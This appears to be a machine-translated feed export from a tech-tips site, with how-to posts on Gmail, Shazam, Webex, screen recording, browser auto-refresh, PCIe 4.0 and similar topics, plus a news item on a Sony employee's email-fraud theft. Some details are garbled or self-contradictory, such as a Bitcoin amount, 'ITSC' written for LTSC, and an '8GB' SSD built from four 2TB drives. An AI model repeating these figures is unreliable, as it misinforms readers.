scratching, absorbs heat quickly, evenly radiates heat, ripens fast food while combating dust effectively.\nThe handle of Sunhouse SHS28 non-stick pan is convenient, so it can be hung on the shelf when not in use, saving both kitchen space and keeping the pan stable longer. In addition, the handle is made of heat-resistant plastic and screw firmly on the pan body, so it is absolutely safe to use the pan without worrying about burns.\n  Hopefully, the above information will help you to use non-stick pan more effectively and durable.\nncG1vNJzZmismaXArq3KnmWcp51krm6zzqibZqyZpXqnu9FmmGamn6PAtbXCpGSpmZ5itrR506hkm51dmcKzrcGlnGaZnpl6r7vTZpmeZZOhvLSx\n","link":"/post/a-good-tip-for-a-non-stick-pan-is-to-be-durable-and-not-be-close/","section":"post","tags":null,"title":"A good tip for a non-stick pan is to be durable and not be close"},{"body":"You are using Gmail and want to create multiple signatures for your account to use for different purposes. For example, the signature used to display lovely images when emailing to friends; signature to show wishes when sending emails to family or signatures to display information, contacts as well as work agencies used for business purposes .\nHowever, by default, Gmail only allows you to create 1 signature for each account. If you are constantly re-arranging your signature for each email, try using the Canned Response feature - Gmail canned responses.\nActually, Canned Response is not a function created for use as a signature, but this is a trick to help you more flexible if you want to insert multiple signatures in your emails. So how to use it? Let's find out the content of this article with TipsMake.com. Invites you to read the track.\nSet up and use canned responses in Gmail 1. Set up the Canned Response feature Step 1: First, you need to log in your personal Gmail account on the computer.\nStep 2: At the main interface, click on the gear icon and select Settings (Settings).\nStep 3: Next, click on Advanced in the options bar in this interface.\nStep 4: You track down the content of canned responses (Canned Responses) and turn it on by clicking on (Enable) in the next dot.\nStep 5: Set up, remember to click the Save Changes button at the bottom to save the custom settings.\n2. Create canned responses (alternative signatures) Step 1: Click Compose to write a new email. This is where you will create canned replies , you will not send this message.\nStep 2: Leave the To , Subject fields blank, and go straight to the compose area.\nStep 3: Compose the signature you want to use.\nYou can refer to the Guide to create professional Gmail signatures here, except that we will not create signature content in Settings but compose directly in the new mail creation area as the instructions are done.\nStep 4: At the bottom of the editing window, click the biểu icon to open the More Options menu and select Prepared Answers .\nStep 5: In the menu that appears, click Save draft as template\u0026gt; Save as new template.\nStep 6: Enter an appropriate name for this signature, for example: Signature 1, Signature 2, Signature of work, Signature of friend .\nStep 7: Click Save to save the signature as a prepared answer.\n3. Use canned responses (alternative signatures) in new messages Step 1: Click Compose to write a new message.\nStep 2: Fill in the To , Subject and text fields of the message you want to send, enter and the line to create a space with the canned response, which is the alternate signature.\nStep 3: Click the ⁝ icon to open the More Options menu and select Prepared Answers .\nStep 4: In the menu that appears, click the alternative signature you want to insert and it will be added to the position where you place the mouse cursor.\nThrough this great tip, you will probably find that, sometimes a feature, an application can be used for a completely different purpose than the main feature that it serves. No exaggeration to say, this is a perfect \"trick\" for creating your own \"signature collection\". What are you waiting for but did not try.\nGood luck!\nSee more:\n5 best email signature generators today 8 tips to create a professional email signature Instructions for creating Gmail signatures with images ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqWlocGqvMueZKyhl6OutcHRnqpmoZ5itK6tyKVksKGknXqkrc2nnJ1loprAsbvNrJxmm5Gju6awjKucrKifo8Cm\n","link":"/post/create-multiple-signatures-in-gmail-with-canned-response-canned-response/","section":"post","tags":null,"title":"Create multiple signatures in Gmail with Canned Response (canned response)"},{"body":"This is a support application for iTunes and Windows Media Player, to help users easily organize and categorize music collections, the program can work on PC and Macs . In addition, the program can fix, fix cover art, metadata . and some other accompanying features such as displaying musicians' information, albums, updated news, Concert Date based. On music preferences, share many other useful information. With TuneUp, you do not have to spend hours to sort and sort manually normally, now users only need to set the feature at will and click. Currently, TuneUp Media has 3 versions for users to choose: - Lite Version - completely free - Annual Version - for $ 19.95 - Gold Version - for $ 29.95 If you are not familiar with the features of TuneUp Media, start with the Free version, with a limit of 100 songs and 50 cover art, but you can still access and use Tuniverse - the network model Peer-to-peer helps you discover and learn more about music through social networking. Installation process Installing TuneUp Media application is quite simple, keep the default settings and follow the instructions of Next \u0026gt; Next \u0026gt; Finish . And remember to close Windows Media Player and iTunes before installing TuneUp Media, another point is that the application requires MS Visual C ++ Redistributable:\n    Use TuneUp with iTunes If you have used iTunes for a long time, many people will 'forget' the metadata and cover art in the album:\n  After successfully installing TuneUp Media, when you open iTunes, you will see a toolbar appear on the right. To use, you must first create an account and enter the activation code (if any):\n  This is the main interface of the toolbar when you successfully login:\n  First, let's use the Clean feature, then click the Analyze icon to start the entire collection process. Time traffic takes place depending on the overall capacity of all music files. In this test, the process applies to about 1400 tracks and takes about 2 minutes:\n  Main interface of Analyze process:\n  And the results show after the analysis process is over, as here only 16% of the collection is considered 'tidy, clean':\n  Then, click the Return to Clean button and drag and drop the corresponding tracks into TuneUp Media, the program will compare with the online Gracenote database to find the exact information about Album Art, Genres, Titles .:\n  For best performance, you should only apply for about 500 tracks per drop and compare:\n  After finding and classifying the most relevant results:\n  Other features Besides, we can't help but mention some other handy features like sharing data on popular social networking models like Facebook or Twitter:\n  In the Concerts section - here will show the latest information about music shows, always updated promptly, support booking and buying tickets online:\n  With Tuniverse tags, the latest and complete information about Videos, Bios, Similar Artists, News . on online stores:\n  In addition, users can reset the technical properties for TuneUp Media to operate as desired in the Preferences section, select the Dock TuneUp with method with your favorite music application:\n  Use TuneUp Media with Windows Media Player Similar to iTunes, when using TuneUp Media with WMP, you will find it very simple and easy to use. To display the toolbar, select Tools \u0026gt; Plug-ins \u0026gt; TuneUp :\n  And this is the interface when the program works:\n  With these handy features, TuneUp Media is indeed one of the indispensable applications in your software store. You will save a lot of time and effort to categorize and rearrange your huge music collection. However, the application still has a number of shortcomings to note such as the process of working, arranging, compacting . usually takes a long time, limited to audio formats (only supports WMA, MP4, and MP3), the program does not recognize FLAC or OGG files. TuneUp Media works smoothly in iTunes 9 and 10, after trying it out with Free version, many people will want to use higher versions like Premium or Gold.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnq4tdOhZK2tnprCsXnMnpuimV2cvK2wjJqnqaSZmK61tc6n\n","link":"/post/experience-with-tuneup-media-gold-application/","section":"post","tags":null,"title":"Experience with TuneUp Media Gold application"},{"body":"This article will guide you on how to add a Shazam button to Control Center on your device.\nBefore you get started, you don't need to install the Shazam app on your device. All you need is to update the system to iOS 14.2, iPadOS 14.2 or higher.\nAdd the Shazam button to the Control Center The Shazam button is not set by default in the iPhone's Control Center. You need to adjust the Control Center a bit to be able to enable this song recognition feature.\nStart by opening the Settings app on your iPhone or iPad. If you can't find it, use the Spotlight search engine built into Apple products.\n  Next, scroll down and select Control Center .\n  You should now see a list of the available keyboard shortcuts in Control Center. Scroll down to the More Controls section . Find and click the '+' sign next to Music Recognition .\n  The Shazam button is now active and has been moved to the Included Controls section . Press and hold the three dash icon to move, arrange the Music Recognition button in Control Center.\n  How to use the Shazam button to identify songs on iPhone Now that the Shazam button has been added to the device, how to use it is also extremely simple.\nOpen Control Center by swiping down from the right corner of the screen for phones without Home buttons (or swiping up from the bottom for devices with a Home button). From here, click on the gray Shazam button that appears in Control Center.\n  After being activated and listening to the music playing, the Shazam button will light up and slowly blink.\n  Once the track has been identified, a notification will appear at the top of the screen. Click for more information about that song and artist.\n  If the music is not recognized after about 10 to 15 seconds, a message saying data was not found pops up so you know.\nSong identification notifications also appear on the lock screen and Notification Center if you accidentally missed the prior notification.\n  You will be taken to Shazam's website after clicking on the song identification notification. Here, you'll hear a snippet of the song, add music to Apple Music, view the lyrics, and more.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXq0tMCzmKZlkqrBtbvNZquoZZOku7W%2BzqVknJ2eqbKzec6nZKKomKS7pg%3D%3D\n","link":"/post/how-to-add-shazam-button-to-control-center-on-iphone/","section":"post","tags":null,"title":"How to add Shazam button to Control Center on iPhone"},{"body":"Online learning or distance learning online is not a new concept, but it has only emerged in our country in recent months. Currently, there are many softwares that support remote connection, online exchange for you to choose such as creating a classroom on Zoom or via Microsoft Teams. Cisco Webex Meeting is a similar feature software, organizing meetings or classrooms online on many different platforms. The following article will introduce more details about Cisco Webex Meeting as well as how to register an account, using Cisco Webex Meeting to create online classrooms.\n1. What is Cisco Webex Meetings? Webex Meet is a software, multi-platform application that supports creating classrooms, or meeting online remotely. The software provides a full range of tools for you to communicate online with many people via video or audio. In addition to the basic features such as online room creation tools, Webex Meet also offers many attractive features such as sharing documents, saving meeting content, etc. to help members easily review the content. than.\n2. How to register a Webex Meet account Step 1:\nUsers access the link below and enter the email address to register an account, click Start for Free to start.\nhttps://www.webex.com/    Step 2:\nSwitch to the new interface, enter the email address and click Sign Up to register an account to use.\n  Next to display the interface for you to enter your name using Webex Meet , click Continue to continue. You will then receive a notification that Webex Meet will send you an email address detailing how to use Webex Meet.\n  Step 3:\nYou open the email and then click on the link received to proceed to create an account password. Click Create Password to create a password . Password must be at least 8 characters, lowercase and uppercase letters, numbers.\n  Step 4:\nNow you return to the home page of Webex Meet, click Sign in\u0026gt; Webex Meetings to log in your account. Enter full personal account information.\nThis is the main interface of Webex Meet for you to use.\n  3. Instructions for creating online classes on Webex Meet Step 1:\nIn the interface we click Start a Meeting , then select how to use on the web is the Web app , click the Start a Meeting button to confirm.\n  You then agree to let Webex Meet use the camera and microphone in the browser. Finally click Start meeting to create online class.\n  Step 2:\nTo invite others to join a class on Webex Meet , click the attention icon in the top left corner and then copy the Meeting number or Meeting link sent to people who want to join the class.\n  Step 3:\nFor online class participants on Webex Meet , follow the link below and do not need an account. Click the Join button above.\nhttps://www.webex.com/  Then display the interface to enter classroom information . Participants enter Meet Number to join. Then click Join from your browser to use on the browser.\n  Step 4:\nNext enter your email address and name so that the Host knows who the participants are, just as simple. Then also click Join meeting and allow the use of microphone, webcam.\n  Step 5:\nThis is the video call interface on Webex Meet. With Host room creation, there are more settings than participants.\nMicrophone icon: Turn sounds on and off. Webcam icon: Toggle video. Share icon: Share screen. Humanoid icon: Manage participants. Chat icon: Text with members. 3-dot icon: Setting options. X sign icon: Leaving the classroom.   4. Install Webex Meet on the computer Step 1:\nYou access the link below and select Download for Windows to download the software and install.\nhttps://www.webex.com/downloads.html/    Then you create an account or log in to Webex Meet as instructed above.\n  Step 2:\nHere is the interface of Webex Meet on the computer. Click Start a Meeting to proceed to create the lesson.\n  You use as with the Webex Meet web interface. With the Webex Meet version, the computer has many other options, but basically the same.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZLCdkprFbrnEnqtmmZOYvLa602asrKGenHq4scGer2allZrBbrvNZrCoraJisLC5z66rnqo%3D\n","link":"/post/how-to-create-a-webex-meet-account-using-webex-meet-on-your-computer/","section":"post","tags":null,"title":"How to create a Webex Meet account, using Webex Meet on your computer"},{"body":"You find a good, useful video and want to share it on Facebook by embedding it on Facebook. In today's tutorial, TipsMake.com teaches readers how to embed videos on Facebook extremely simply and effectively.\n  1. Embed video on Fanpage or personal page via the Share button Step 1: You open the Youtube video to embed on Facebook. Next, click the Share button .\n  Next, click on the Facebook icon to embed it on Facebook.\n  Step 2: Click the Share button to the Message Board or News (1) =\u0026gt; select Share to the message board or the News to post to the wall or Share to the Page you manage (2) to embed on the Fanpage.\n  Step 3: Next, enter the content for the video to post (3) and click Post to Facebook (4) to finish.\n  And finally your video posted on the page as shown below is done.\n  2. Use the video link to embed YouTube video on Facebook Step 1: Open the Youtube video to embed and right-click the video player =\u0026gt; select Copy video URL .\n  Step 2: Open Facebook, click on the status post and paste the Youtube link into it.\n  Wait for Facebook to load the link, then click Post to post the video on your wall. You can write a few lines where you paste the link before posting or leave it blank.\n  And finally, your video has been embedded on your personal Facebook.\n  With two ways of embedding YouTube videos on Facebook in posts, we can quickly share our favorite videos to Facebook without any problems. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2dl7KlediorK2tkpp6t7XDnqasZZmjwbB5xZqanpqfpLg%3D\n","link":"/post/how-to-embed-youtube-videos-into-facebook/","section":"post","tags":null,"title":"How to embed YouTube videos into Facebook"},{"body":"Screen capture is very simple, but shooting Chrome videos or another application in use may be more complicated. This is what to do instead of pointing the phone at the computer screen to record.\nRecording videos in Chrome browser is easy with the following tools PC Windows: Use Game Bar Mac: Use the screen capture tool Use Chrome: Loom extension Third-party tools: OBS PC Windows: Use Game Bar   The Windows Game Bar is designed to record PC games but will work in any application. Make sure the Game Bar is activated by searching for it in the Windows Settings app and making sure the 'Record game clips, screenshots, and broadcast using Game bar' option is in the On state .\n  \nNow, from within Google Chrome or any application you want to record, you can open Game Bar by pressing Windows + G. Click the red button to start recording the application.\nBy default, the logs will be saved in the Video section of the 'Captures' section.\nMac: Use the screen capture tool   This is even easier on a Mac, because macOS has an integrated screen capture tool with options for video recording. This tool will work in Chrome or any other web browser, including Safari. In fact, this integrated screen capture tool will work in every application on a Mac.\nPress Command + Shift + 5 , select the area or application you want to record and switch to recording mode by clicking 'Record Selected Portion' on the right of the menu.\nClick the record button to start recording the video screen. When finished, reopen the menu with Command + Shift + 5 and click 'Stop Recording' . The video will be saved to the desktop in the 'Movies' folder .\nUse Chrome: Loom extension   Normally, you should not install many Chrome extensions because they are easy to become spyware, but in case you want to record videos on chrome browser, Loom is a name not to be missed.\nLoom added himself to the Chrome toolbar. Users click on it to display the recording window. There is an option to record webcams and microphones, and even record entire desktops from Chrome. Just click 'Start Recording' and then press the green button on the bottom left to complete the recording.\nThe most useful part of Loom is that after the recording is done, the clip will automatically be uploaded to the Loom hosting service, then you have a link to share with everyone. If you are looking for this type of function, but do not want to use Loom, you can try using Streamable.com, a video hosting and drag-and-drop video server.\nThird-party tools: OBS   If you want to add some functionality to your logs, you can take some time to consider Open Broadcaster Software (OBS). OBS is often used to stream live on websites like Twitch and YouTube but also works well when burning to disc. Open Broadcaster Software is cross-platform software, works on Windows, macOS and Linux.\nOBS is very powerful and quite complicated. You can have many 'Scenes' with different settings, useful if you need to switch between them during live streaming, but not quite useful for offline records. In each shot, the 'Sources' tool will record audio and video, then 'mix' them together.\nBy default, OBS should be set to use the default microphone and screen capture, but you can add new sources by right-clicking on a blank window:\n  When you're happy with the configuration and layout, click on 'Start Recording', and then 'Stop Recording' when you're done.\nCheck the Settings section in the 'Output', where OBS saves the logs.\n  You can also adjust the video resolution and frame rate from here, as well as set up hotkeys for all tasks.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyvoJ2dn6h6sLqMnJ%2Brp52aeqO%2BzrCqnqo%3D\n","link":"/post/how-to-record-videos-on-chrome-browser/","section":"post","tags":null,"title":"How to record videos on Chrome browser"},{"body":"To re-appointment, YouTube channel EverythingApplePro is famous for the peeling and torturing of Apple products that have recently released videos of the latest iPads of the apple. This YouTube channel and JerryRigEverything are two counterbalances on Youtube about breaking Apple stuff. After dissecting the iPad Pro 2020, EverythingApplePro has done one of the most troubling tests for viewers: try to crack the iPad. As expected, it's not uncommon for this newly-launched iPad to bend and break at the microphone position, around the middle of the screen edge, just like the \"bendgate\" happened to the 2018 iPad Pro.\n The almost entirely inherited hardware design of the previous generation makes the iPad Pro 2020 inherit the shortcomings. If you hide the camera cluster, it is probably hard to distinguish between the two generations of 2018 and 2020. Overview of the internal components are almost the same. The only difference is the A12Z Bionic chip, which is actually being scrapped by many technology news sites, the A12X but unlocking an additional graphics core. In addition, now all versions of the iPad Pro 2020 are equipped with 6GB of RAM instead of the highest capacity 1TB version as the previous generation.\niPad Pro 2020 is still easy to crack as before\nThis detail will probably make many people think more carefully about their decision to buy iPad Pro 2020, especially when there are continuous rumors about Apple's new tablet line will be launched right this year, A14X Bionic chip manufactured on 5nm process, promising to bring super outstanding performance. The new design is expected to increase the ruggedness of the iPad Pro chassis because the performance of the iPad is already far superior to its competitors in the market.\nSo, if you intend to buy the iPad Pro 2020, one of the points you need to keep in mind is that it needs to be slightly cradled in order not to be bent, affecting aesthetics.\nncG1vNJzZmismaXArq3KnmWcp51ktrGtw2anq6ddZ31zfIyipaGdop7BtHnBqKuhZaSdsm7BzbCYp6yVmXqnscCtrKudXZa9sbjEZqafZWJlfnk%3D\n","link":"/post/ipad-pro-2020-inherits-both-the-unwanted-feature-apple-of-2018/","section":"post","tags":null,"title":"iPad Pro 2020 inherits both the unwanted 'feature' Apple of 2018"},{"body":"Some businesses are considering deploying Microsoft's Long-Term Servicing Channel. According to a report by Dimension Research, 1 in 5 companies with more than 5,000 employees planned to deploy LTSC in 2017 - a huge increase of 27% compared to 2016.\nAs with all other Windows 10 operating system options, Windows 10 ITSC has its pros and cons. Let's take a closer look at the concept behind the LTSC acronym and considerations for its application to a wider user base.\nWhat is the Long-Term Servicing Channel (LTSC)? The Long-Term Servicing Channel (LTSC), formerly known as the Long-Term Service Branch (LTSB), refers to a specialized version of Windows 10 specifically designed for situations and devices that require consistency in features, such as PoS terminals, medical devices (CAT / MRI scanners), industrial process control devices, ATMs and air traffic control devices.\nBecause these systems are often carefully developed and thoroughly tested for a specific purpose, upgrading the operating system every 6 - 12 months will backfire. Instead, Microsoft will support each LTSC release for 10 years without changing the features in its lifecycle.\nOf course, companies looking to apply Windows 10 to specific situations don't have to wait 10 years for the new version. Microsoft will release a new version of Windows 10 LTSC every 3 years.\nThe Long-Term Servicing Channel is very different from the Semi-Annual Channel (SAC), which provides two feature upgrades within a year.\n  Businesses stay away from applying LTSC extensively Thankfully, the predictions (made in the months before and after the release of Windows-as-a-Service) that LTSC will become the preferred Windows 10 version for many businesses have not come true. There are many reasons why businesses should stay away from this version. 3 of the top 14 reasons are as follows:\nMicrosoft's \"Windows Silicon Policy\" may result in an annual upgrade Windows Silicon Policy is a policy in which Windows products will be supported for security, reliability, and compatibility on the latest devices available at the time of release. This includes previous hardware generations still supported by the original equipment manufacturer (OEM).\nLTSC versions will not be supported on hardware released after it is released and therefore, do not keep up with new hardware releases such as the Semi-Annual Channel.\nWindows 10 LTSB will support device launches at the time of LTSB release. When future product generations are released, support will be generated through future Windows 10 LTSB releases that customers can deploy to those systems.\nAccording to Gartner analysis, this will lead to more frequent, even annual upgrade cycles. In addition, Surface hardware will no longer be supported.\nLTSC does not include features developed over time To ensure continuity, the LTSC version does not contain any features that require changes over time. For example, it includes Internet Explorer instead of Microsoft Edge, Microsoft Store, Cortana or Microsoft applications. This means that devices running productivity applications, such as MS Office, using multiple Windows Store applications or being used to browse the Internet are not used for LTSC.\nMoreover, it does not support ConfigMgr Express Updates nor does it update Windows Defender Advanced Threat Protection (ATP). In addition, businesses will likely be subject to restrictions on hardware and software support.\nUpgrade in place is not supported with LTSC If you're hoping to run on-site upgrades from Windows 7 to Windows 10 LTSC, unfortunately you're out of luck. LTSC updates require local .MSI files to be installed. Due to the specific nature of this version of Windows 10, non-security operating system fixes and improvements may not be backported.\nThe Long-Term Servicing Channel version of Windows 10 is completely developed for devices and situations that cannot withstand frequent changes. While avoiding the frequent upgrades of Windows 10 SAC releases, this is not an option for large-scale enterprise deployments over the long term, as it will cause you to manage. and maintain multiple supported versions, as well as face feature limitations.\nBut instead of dodging, businesses should take advantage of this new rate of change and apply appropriate methods.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuw8inm6ivo2J%2BcXnIraqc\n","link":"/post/learn-about-windows-10-itsc/","section":"post","tags":null,"title":"Learn about Windows 10 ITSC"},{"body":"According to the published documents, Rei Ishii is the employee charged with stealing the aforementioned money. This guy proceeded to steal $ 154 million when the company transferred money between accounts. Ishii obtained the transfer information after performing the BCE attack (infiltrating the enterprise's email system).\nIshii does this by intentionally falsifying trading instructions. As a result, the money went to an account Ishii controlled at a bank in La Jolla, California instead of the accounts of Sony Life Insurance Company Ltd.\n  Next, Ishii transferred all the stolen funds to Bitcoin using Coinbase's automated mechanism. The number of Bitcoins that Ishii received was 3879 coins and then transferred to a cold wallet.\nTo prevent his bosses from investigating, Ishii sent threatening and ransom letters in English and Japanese. The content of the letter read: \"If you accept the payment, we will return the money. If you file a criminal complaint, you will not be able to get your money back.\"\nBut all of Ishii's plans fell through. On December 1, after a coordinated investigation between Japanese law enforcement and the US FBI, the FBI seized 3,879,16242937 Bitcoins in Ishii's wallet. The private key was also seized, so the FBI transferred the above Bitcoins to their wallet.\nThe Tokyo Metropolitan Police Department also quickly arrested Ishii, 32, and charged him with conspiracy to steal $154 million.\nncG1vNJzZmismaXArq3KnmWcp51kwLC62GacpqicpMamsYyhmJyjo2KwsLnPmqWyq12auqK1y2arqGWjqbKiuIxqbG1lnZ65rbXOp2SappRiwamxzWaaqKammr%2B1ecitZK2nXZe2ta%2FOoqU%3D\n","link":"/post/sony-employee-hacks-company-s-email-to-steal-154-million-and-then-convert-it-to-bitcoin/","section":"post","tags":null,"title":"Sony employee hacks company's email to steal $ 154 million and then convert it to Bitcoin"},{"body":"Imagine that you are reading a news page, watching a movie or playing a flash game . suddenly suddenly the website automatically updates and refreshes, ie you have to redo the entire process from the beginning. Some websites with automatic refresh feature every time there is news update will make you feel uncomfortable and uncomfortable. In the following tutorial, TipsMake.com will introduce you how to turn off this feature.\nTurn off Auto refresh on Chrome Let's start with the most popular web browser. Turning off Auto refresh on Chrome is a bit more complicated than other browsers because you can't do this directly through the browser and need to use a third-party extension.\nThis extension is called Auto Refresh Blocker . After installing the extension, go to its options page chrome: // extensions, select Details , click Extension options and make sure to select \" Disable Meta Refresh \".\nDownload Auto Refresh Blocker   To add a site to a list that doesn't automatically refresh, navigate to that site in Chrome, then click the Auto Refresh Blocker icon at the top right and click on the Blacklist website.\n  In addition, if you find that tabs are not open for a period of auto-refresh, you need to disable automatic tab discarding in Chrome Flags. To do this, type chrome: // flags in the address bar, search discarding and change Automatic tab discarding from Default to Disabled .\n  Turn off Auto refresh feature on Firefox The process of disabling automatic refresh on Mozilla browsers is much easier than Chrome. You just need to type about: config in the address bar, click Accept the risks related to changes in Firefox, then near the top right of the list, you will see accessibility.blockautorefresh .\n  Right-click this option and click ' Toggle ' to change the value of ' false ' to ' true ' to turn off auto-refresh in Firefox.\nTurn off Auto refresh in Edge Microsoft Edge does not have a built-in function as well as a third-party extension that allows you to disable automatic refresh. Although technically, there are extensions to implement this function, but Microsoft is not too active, proactive in attracting developers to create Edge browser extension. Therefore, if you use this browser, you currently have no way to disable auto refresh feature.\nTurn off Auto refresh on Internet Explorer Perhaps many people wonder why now you still use Internet Explorer (IE) while it is no longer supported by Microsoft and updated. However, if you still use this IE browser, then this is a way to disable automatic refresh.\nClick on the Start button, type internet options and select Internet Options in the search results. On the Internet Properties window, click Custom tab -\u0026gt; Custom level , then in the Security Settings window, scroll down until you find Allow META REFRESH and disable it then click OK .\n  I wish you all success!\nSee more:\nWhich web browser is best for Windows computers? How to surf the web without a browser? 7 unexpected capabilities of the web browser ncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dlsK1u4yrnJ%2Bqlai1brXNZquhnV2Xv7DD0p6p\n","link":"/post/turn-off-auto-refresh-in-the-browser/","section":"post","tags":null,"title":"Turn off Auto refresh in the browser"},{"body":"The long-awaited PCI Express 4.0 update is coming to your computer. If you buy a new computer or update your system hardware, you can choose PCIe 4.0, much faster than the current 3.0 standard.\nBut what is PCIe 4.0? Does it help your system boot faster? The following article will cover all you need to know about PCIe 4.0.\nLearn about PCIe 4.0 connectivity standards What is PCIe? Is PCIe 4.0 faster? PCIe 4.0 will help speed up which hardware will help speed up? Can I buy hardware using PCIe 4.0? AMD X570 Chipset Memory  When will PCIe 5.0 appear? Should you upgrade to PCIe 4.0 hardware? What is PCIe? The Peripheral Component Interconnect Express (PCIe) is a popular motherboard connection standard. PCIe allows different bits of system hardware to communicate with the motherboard and other parts of the system. Specifically, PCIe relates to the system expansion card, such as graphics card (GPU), sound card, WiFi card or SSD M.2 NVMe.\nPCIe 4.0 is the fourth version of this connection standard. Details of the PCIe 4.0 standard were announced in mid-2017. However, until now, new motherboard or chipset manufacturers have adopted this standard on their hardware.\n  The motherboard has some PCIe slots. PCIe slots come in many sizes: x1, x4, x8 and x16. The numbers describe in detail how many lanes the PCIe slot has. The more lanes there are, the faster the data connection will be. Most modern expansion cards work best in x16 slots. That's because it has the fastest data transfer rate. For example, modern GPUs will use the x16 slot for fast data transfer, ensuring users have a smooth and consistent experience.\nAn exception is for the form factor M.2. M.2-based expansion cards are not compatible with standard PCIe lane layouts. Instead, the M.2 expansion card uses a PCI Express M.2 connection with 2 or 4 lanes. PCIe M.2 replaces the old mSATA standard.\nIs PCIe 4.0 faster? PCIe 4 is faster than the previous version, PCIe 3. PCIe 4 is nearly twice as fast, increasing the data transfer rate up to 16 gigatransfer per second (G / Ts). However, G / Ts is not a useful data transfer data for the majority of users.\nIn a more understandable way, the x16 PCIe 4.0 slot (the largest slot) has a one-way data transfer rate of up to 32GB / s. That means you have a maximum transfer speed of 64GB / s in both directions. However, being able to achieve speeds greater than 64GB / s is incorrect, because you cannot reach that ratio with a single dimension.\nBut in general, 32GB / s transfer rate is a significant improvement over the 16GB / s of the old PCIe 3.0 standard.\nPCIe 4.0 will help speed up which hardware will help speed up? Certain hardware can increase performance thanks to PCIe 4.0 better than other hardware. PCIe updates affect system expansion cards, such as WiFi, Ethernet and graphics cards. However, an update does not always help speed up immediately. The reason is that some system hardware has been operating at full capacity.\nTake the graphics card as an example. Being able to enhance its capabilities is a great thing. Unless you play games at 3840 × 2160 resolution with a refresh rate of 144Hz, you won't even be able to fully utilize the current PCIe 3.0 standard. Intel's research on the impact of PCIe 4.0 on gaming shows that current hardware still has some things to overcome in terms of performance, before being able to make the most of current standards. Refer to the following table for details of data bandwidth of different resolutions:\n  PCIe 4.0 immediately increases the maximum performance for system memory. SSD Force Series Corsair MP600 M.2 SSD supports PCIe 4.0 and with that, data transfer rate can be up to 5GB / s. A noteworthy point is that the Corsair MP600 is a huge heat sink, because the transfer speed of PCIe 4.0 comes with a huge amount of heat output.\n  Can I buy hardware using PCIe 4.0? The introduction of new hardware that supports PCIe 4.0 is attracting the attention of businesses and consumers.\nAMD X570 Chipset AMD's Ryzen CPU series continues to use the same processor socket (or CPU socket): AM4. CPU Ryzen can be swapped for any motherboard with socket AM4, regardless of the generation of CPU Ryzen. Now, one thing to note for those who own AMD CPUs is that, if they want to use PCIe 4.0 faster, a motherboard is built according to the new standard.\nThe new AMD X570 chipset will support PCIe 4.0. Prior to the announcement, the partial updates added support for PCIe 4.0 for some AMD motherboards (mostly X470 and X370 models with high specs). But due to the requirements of PCIe 4.0 standards, the previously valid updates are not available for all chipsets. Therefore, AMD will no longer release PCIe 4.0 updates for existing chipsets.\nAMD's senior marketing manager, Robert Hallock, explained this decision in a post on Reddit.\n'This is the problem we are trying to overcome. The motherboards before X570 will not support PCIe Gen 4. There is no guarantee that older motherboards can run Gen4's strict signal requirements reliably. When the last BIOS was released for 3rd generation Ryzen (AGESA 1000+), Gen4 will no longer be an option. We also want to be able to do the opposite, but the risk is too great. '\nMemory You can purchase the built-in system memory for PCIe 4.0. At Computex 2019, a global computer development conference, Gigabyte announced a PCIe 4.0 8GB SSD. Technically, there are 4 2TB SSDs combined into a GPU expansion card. This drive has an incredible read and write speed of 15,000MB / sec.\nGigabyte has also launched AORUS NVMe Gen4 SSD. AORUS NVMe Gen4 SSD reaches a reading speed of about 5,000 MB / sec and write speed of 4,400MB / sec. AORUS drives have a capacity of 1TB or 2TB.\nIf you are not sure which option is best for you, please refer to the article: Should you choose SATA or PCIe SSD? from TipsMake.com.\nWhen will PCIe 5.0 appear?   As soon as PCIe 4.0 began to be deployed, everyone expected PCIe 5.0. That's because the PCI Special Interest Group (PCI-SIG), the developer of the PCIe standard, announced PCIe 5.0 as soon as PCIe devices are released. The completed PCIe 4.0 specifications will appear a few years behind the plan, causing overlap between the two.\nPCIe 5.0 will double the data transfer bandwidth again (ie, increase to 32G / Ts or one-way transfer rate up to 64GB / s).\nShould you upgrade to PCIe 4.0 hardware? The difficulty here is knowing in which direction computer hardware is developing. Receiving PCIe 4.0 standards is very limited. The reason is that most of the hardware still doesn't make the best use of the existing PCIe 3.0 standard, plus that in the next 2 to 5 years, PCIe 5.0 will begin to penetrate the hardware manufacturing process.\nBesides, the delay for PCIe 4.0 creates a difficult situation. If you are ready to upgrade and are financially capable, PCIe 4.0 is worth considering. If not, please wait patiently for the arrival of PCIe 5.0.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgmLameZNpZKygn6q5pXnIZqypn6KWsaY%3D\n","link":"/post/what-is-pcie-4-0-should-i-upgrade/","section":"post","tags":null,"title":"What is PCIe 4.0? Should I upgrade?"},{"body":"It provides the full API definitions of UWP Windows 10 2004 (19041) and the implementation of parts of the UWP API, such as Windows.UI.Xaml, to allow UWP applications to run on these platforms.\nThis allows to use UWP tools from Windows in Visual Studio, such as Xaml Edit and Continue and C# Edit and Continue, build as many apps as possible on Windows, then verify that the app runs on iOS. , Android and WebAssembly.\nXAML User Interface (UI) provides the ability to display the same XAML files on Windows, iOS, Android and WebAssembly platforms. Uno also provides support for Model-View-ViewModel (MVVM) patterns on all platforms, with features for binding, styling, controlling, and template data generation.\nSince the Uno Platform provides all the complete UWP platform APIs, any UWP library can be compiled on Uno (e.g. XamlBehaviors), with the ability to determine which APIs are implemented or not. via IDE using C # Analyzer.\n  Why use Uno Platform? Development for Windows (phone, desktop, tablet, Xbox), WebAssembly, iOS (tablet and phone), Android (tablet and phone), macOS, and Linux at the same time can be a complicated process, especially when it comes to user interfaces. Each platform has its own way of defining dynamic layouts that can be effective, elegant, or different in performance.\nHowever, being able to master all of these frameworks at once is a particularly difficult task, as the amount of specific knowledge required to master each platform is immense. In almost all cases, different teams develop the same application over and over, each requiring a full development cycle.\nWith the 'classic' Xamarin, C # comes to all these platforms, however, it only provides transparent transitions of the UI frameworks available for iOS and Android. Most of the non-UI code can be shared, but when it comes to the UI, almost nothing can be shared.\nIn order to avoid having to learn the approach and 